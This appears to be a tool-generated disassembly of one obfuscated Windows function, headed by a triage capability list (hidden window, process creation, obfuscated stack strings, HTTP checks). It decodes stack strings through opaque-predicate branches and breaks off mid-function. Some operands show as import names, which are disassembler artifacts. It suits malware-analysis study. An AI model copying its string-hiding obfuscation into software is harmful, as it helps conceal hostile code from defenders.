Function at 0x1400b3150
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Create process on windows
Hide graphical window
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb20]
sub rsp, 0xc20
mov rax, qword [0x14021a800]
xor rax, rsp
mov qword [rbp + 0xb10], rax
mov byte [rbp + 0x358], 0xf3
mov byte [rbp + 0x359], Ordinal_211
mov byte [rbp + 0x35a], Ordinal_200
mov byte [rbp + 0x35b], 0xf1
mov byte [rbp + 0x35c], 0xf9
mov byte [rbp + 0x35d], Ordinal_200
mov byte [rbp + 0x35e], 0xf3
mov byte [rbp + 0x35f], gethostname
mov byte [rbp + 0x360], Ordinal_211
mov byte [rbp + 0x361], 0x99
mov byte [rbp + 0x362], 0x9e
mov byte [rbp + 0x363], 0xee
mov byte [rbp + 0x364], 0xde
mov byte [rbp + 0x365], 0xdb
mov byte [rbp + 0x366], Ordinal_211
mov byte [rbp + 0x367], 0xdb
mov byte [rbp + 0x368], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x369], xmm0
movups xmmword [rbp + 0x379], xmm0
mov word [rbp + 0x389], ax
movabs rsi, 0xa541dcc72e27ae4
movabs r12, 0xb75956c097c1a454
movabs r14, 0x8d821a926624399c
movabs r15, 0x1ecf6d1136a0f0f4
movabs r13, 0xb01cbf90071da84c
movzx r11d, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400b3e8f
movzx r10d, byte [rbp + rbx + 0x358]
movzx edi, r10b
nop dword [rax]
cmp r8, rbx
ja 0x1400b3e86
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b32bc
lea rcx, [rbx + r12]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 0x4c
jmp 0x1400b3302
je 0x1400b3e0c
inc rax
cmp r8, rax
je 0x1400b3d77
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b3d3c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b3cf4
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b3ccb
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b3c79
movzx edi, r10b
cmp r9, rbx
ja 0x1400b3e7d
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400b3333
lea rcx, [rbx + rsi]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x3c
jmp 0x1400b3373
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b3c55
inc rax
cmp r8, rax
je 0x1400b3c2c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b3c05
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b3bde
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b3ba6
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b3892
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b3873
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b3850
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b382b
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b394c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b380e
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b37ef
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b37d2
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b37b3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b3788
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b3380
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400b3e5e
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400b3e44
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b356f
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b354f
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400b3534
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400b3736
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b3719
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b36d8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400b36ae
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b3380
lea r8, [r9 + 9]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400b3683
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400b3664
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b364a
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400b362b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b360b
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400b35f1
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b35cc
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400b35a9
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b358a
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400b3380
lea r8, [r9 + 5]
lea r9, [r8 + 0x20]
jmp 0x1400b3380
lea rcx, [rbx + r14]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x44
jmp 0x1400b3373
lea rcx, [rbx + r15]
movzx eax, r10b
and al, cl
mov edx, Ordinal_46
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, dil
jmp 0x1400b3306
lea rcx, [rbx + r13]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x14
jmp 0x1400b3290
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3c9f
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
inc r9
dec rbx
inc rbx
jmp 0x1400b3272
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400b3272
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x1400b3d1a
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
add r8, r9
jmp 0x1400b3d5e
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3d5e
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400b3d9c
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3dcc
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rbx + 0x358]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3272
lea edx, [rbx + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x358], r11b
inc rbx
jmp 0x1400b3272
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
movzx edi, bl
cmp r9, 0x61
jb 0x1400b36c8
add dil, 0x78
movzx eax, dil
and al, r10b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
lea r11d, [rcx + rcx]
jmp 0x1400b3c9f
movzx edi, bl
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
jmp 0x1400b3a34
lea edx, [rbx + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
lea rax, [r8 + r9]
cmp rax, 2
je 0x1400b3b8d
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400b3966
movzx edi, bl
lea ecx, [rdi + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1c
jmp 0x1400b3a34
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0x358]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3272
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3dcc
movzx edi, bl
lea ecx, [rdi + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400b3d9f
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3d5e
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
add r8, r9
jmp 0x1400b3d5e
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400b3272
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400b3272
lea edx, [rbx + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3c9f
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400b38b6
lea rcx, [rbx + r12]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4c
jmp 0x1400b3750
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b38ea
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
movzx eax, byte [rbp + rbx + 0x358]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3272
inc rax
cmp r8, rax
jne 0x1400b3914
movzx edi, bl
lea edx, [rdi + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3d9f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b393f
lea edx, [rbx + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400b3d5e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b3750
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400b3d1a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b398e
lea edx, [rbx - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3c9f
inc rax
cmp r8, rax
jne 0x1400b39bb
lea edx, [rbx - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400b3272
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b39e1
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
add r8, r9
jmp 0x1400b3d5e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b3a09
lea edx, [rbx - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3d5e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b3a31
lea edx, [rbx + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400b3dcc
movzx edi, bl
cmp r8, 0x5a
jae 0x1400b3b6d
lea rdx, [r9 + 5]
cmp r8, rdx
jbe 0x1400b3a61
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x1400b36f0
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b3a9c
sub dil, 0x70
movzx eax, dil
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x358]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3272
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b3abf
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x1400b3d9f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b3ae9
sub dil, 0x78
movzx eax, dil
and al, r10b
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, r10b
jmp 0x1400b3d5e
cmp r8, rdx
jne 0x1400b3b0e
add dil, 0x30
movzx eax, dil
and al, r10b
add al, al
sub dil, al
lea r11d, [r10 + rdi]
sub r11b, 0x50
add r8, r9
jmp 0x1400b3d5e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b3b3a
add dil, 0x80
movzx eax, dil
and al, r10b
add al, al
sub dil, al
lea r11d, [r10 + rdi]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x1400b3272
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b36f0
add dil, 0x28
movzx eax, dil
and al, r10b
add al, al
sub dil, al
lea r11d, [r10 + rdi]
sub r11b, 0x18
inc r9
dec rbx
inc rbx
jmp 0x1400b3272
add dil, 0x20
movzx eax, dil
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x10
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400b3d1a
movzx edi, bl
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rcx - 0x78]
jmp 0x1400b3d9f
movabs rax, 0xee9c37571e8008cc
add rax, rbx
and r10b, al
mov ecx, gethostname
sub cl, r10b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, dil
movzx eax, byte [rbp + rbx + 0x358]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3272
movabs rax, 0xa2842ed38ff62ed4
add rax, rbx
and r10b, al
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, r10b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, dil
jmp 0x1400b3d5e
movabs rax, 0xc51ed3d130ef9d84
add rax, rbx
and r10b, al
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, r10b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, dil
jmp 0x1400b3d16
movabs rax, 0x566c2650016c54dc
add rax, rbx
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rdi + rax]
sub r11b, 4
dec rbx
inc rbx
jmp 0x1400b3272
movabs rax, 0x7906cb4da265c38c
add rax, rbx
and r10b, al
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, r10b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, dil
jmp 0x1400b3c9b
movabs rcx, 0x9ba1704b435f323c
add rcx, rbx
and r10b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_46
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
movzx r10d, dil
lea edx, [rbx - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x358], cl
inc r9
dec rbx
inc rbx
jmp 0x1400b3272
movabs rax, 0xbe3c1548e458a0ec
add rax, rbx
and r10b, al
add r10b, r10b
sub dil, r10b
lea r11d, [rax + rdi]
sub r11b, 0x74
dec rbx
inc rbx
jmp 0x1400b3272
movabs rcx, 0x4f8967c7b4d55844
add rcx, rbx
and r10b, cl
mov eax, reloc.WS2_32.dll_select
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
movzx r10d, dil
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2c
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x358], cl
add r8, r9
jmp 0x1400b3d5e
movabs rcx, 0x72240cc555cec6f4
add rcx, rbx
and r10b, cl
mov eax, Ordinal_46
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b3272
movabs rcx, 0x3715f44264b7e4c
add rcx, rbx
and r10b, cl
add r10b, r10b
movzx r11d, dil
sub r11b, r10b
sub r11b, 0x14
add r11b, cl
movzx r10d, dil
movzx edi, bl
add dil, 0x1c
movzx eax, dil
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x358], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x10
add cl, r10b
mov byte [rbp + rbx + 0x358], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x358]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3272
movabs rcx, 0x260c0441c744ecfc
add rcx, rbx
and r10b, cl
mov eax, select
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
movzx eax, byte [rbp + rbx + 0x358]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b3272
sub bl, 0x5c
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x7c
jmp 0x1400b3270
sub bl, 4
movzx eax, bl
and al, r10b
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400b3260
lea rdx, [rbp + 0x15a6bc8]
jmp 0x1400b3e96
lea rdx, [rbp + 0x11c101c]
jmp 0x1400b3e96
lea rdx, [rbp + 0x358]
mov rcx, qword [0x140220750]
call fcn.1400fa780
mov rcx, qword [0x140220740]
call fcn.1400d9630
mov byte [rbp + 0x390], 3
mov byte [rbp + 0x391], reloc.WS2_32.dll_socket
mov byte [rbp + 0x392], Ordinal_50
mov byte [rbp + 0x393], 5
mov byte [rbp + 0x394], Ordinal_30
mov byte [rbp + 0x395], Ordinal_33
mov byte [rbp + 0x396], 3
mov byte [rbp + 0x397], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x398], Ordinal_41
mov byte [rbp + 0x399], 0xf5
mov byte [rbp + 0x39a], 0xf0
mov byte [rbp + 0x39b], 0
mov byte [rbp + 0x39c], 0xf4
mov byte [rbp + 0x39d], 0xfb
mov byte [rbp + 0x39e], 7
mov byte [rbp + 0x39f], 3
mov byte [rbp + 0x3a0], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a1], xmm0
movups xmmword [rbp + 0x3b1], xmm0
mov word [rbp + 0x3c1], ax
movabs rsi, 0x387bbf5cb5e715f1
movabs r14, 0xfc59ba42651fc579
movabs r12, 0x8b623b88f9519997
movabs r15, 0xa9733e1621b541d3
movzx ebx, byte [rsp + 0x30]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400b4b41
movzx r10d, byte [rbp + rdi + 0x390]
mov edx, r10d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400b4b38
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400b3fcb
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x69
jmp 0x1400b4012
je 0x1400b4ad0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b4a4c
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b4a23
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b4a0a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b49c8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b49a8
movzx r11d, dil
cmp r9, rdi
ja 0x1400b4b2f
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400b403f
lea ecx, [r11 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x63
jmp 0x1400b4090
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400b4964
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b4942
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400b4928
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b4909
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b48ed
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b48cf
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b45eb
nop dword [rax]
lea rcx, [r9 + 0x61]
cmp r8, rcx
je 0x1400b45cf
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b45aa
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400b4588
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b456e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b454b
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b452b
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b450d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b44ef
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b44c2
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b40a0
mov r8, rcx
lea r9, [rcx + 2]
lea rcx, [r9 + 9]
cmp r8, rcx
jb 0x1400b4b13
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b4af7
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b4288
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b426e
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400b4254
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400b4479
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b4434
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400b43f7
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b43d1
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b40a0
mov r8, rcx
lea r9, [rcx + 0x41]
lea rcx, [r9 + 4]
cmp r8, rcx
ja 0x1400b43a0
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400b4380
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400b4364
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400b4348
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400b4329
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b430d
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b42e7
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400b42be
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400b42a4
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400b40a0
mov r8, rcx
lea r9, [rcx + 0x10]
jmp 0x1400b40a0
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 3
jmp 0x1400b4090
lea ecx, [r11 - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x31
jmp 0x1400b4016
add r11b, 0x17
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x5f
jmp 0x1400b3fa0
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x18
jmp 0x1400b4979
add r11b, 0x46
movzx eax, r10b
and al, r11b
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400b3f82
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400b3f82
lea edx, [r11 - 0x7e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400b49e1
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
add r8, r9
jmp 0x1400b4a34
sub r11b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x32
jmp 0x1400b4a34
lea edx, [r11 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x1400b4a61
sub r11b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b4a8c
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x390]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b3f82
add r11b, 0x63
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x4b
mov byte [rbp + rdi + 0x390], bl
inc rdi
jmp 0x1400b3f82
lea edx, [r11 - 0x7f]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x79
add bl, dl
cmp r9, 5
jb 0x1400b43e8
lea edx, [r11 + 6]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x54]
jmp 0x1400b497b
lea edx, [r11 - 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x59
add bl, dl
cmp r8, 0xa
jae 0x1400b4895
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400b47e3
lea edx, [r11 + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x5e
jmp 0x1400b440c
lea edx, [r11 - 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2b
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x1400b48b4
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400b46ed
lea edx, [r11 + 0x6d]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 5
jmp 0x1400b4449
sub r11b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x52
movzx eax, byte [rbp + rdi + 0x390]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b3f82
sub r11b, 0x44
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x24
add bl, r11b
jmp 0x1400b4a8c
lea edx, [r11 - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400b4a61
sub r11b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b4a34
add r11b, 0x16
movzx eax, r10b
and al, r11b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
add r8, r9
jmp 0x1400b4a34
lea edx, [r11 + 0x34]
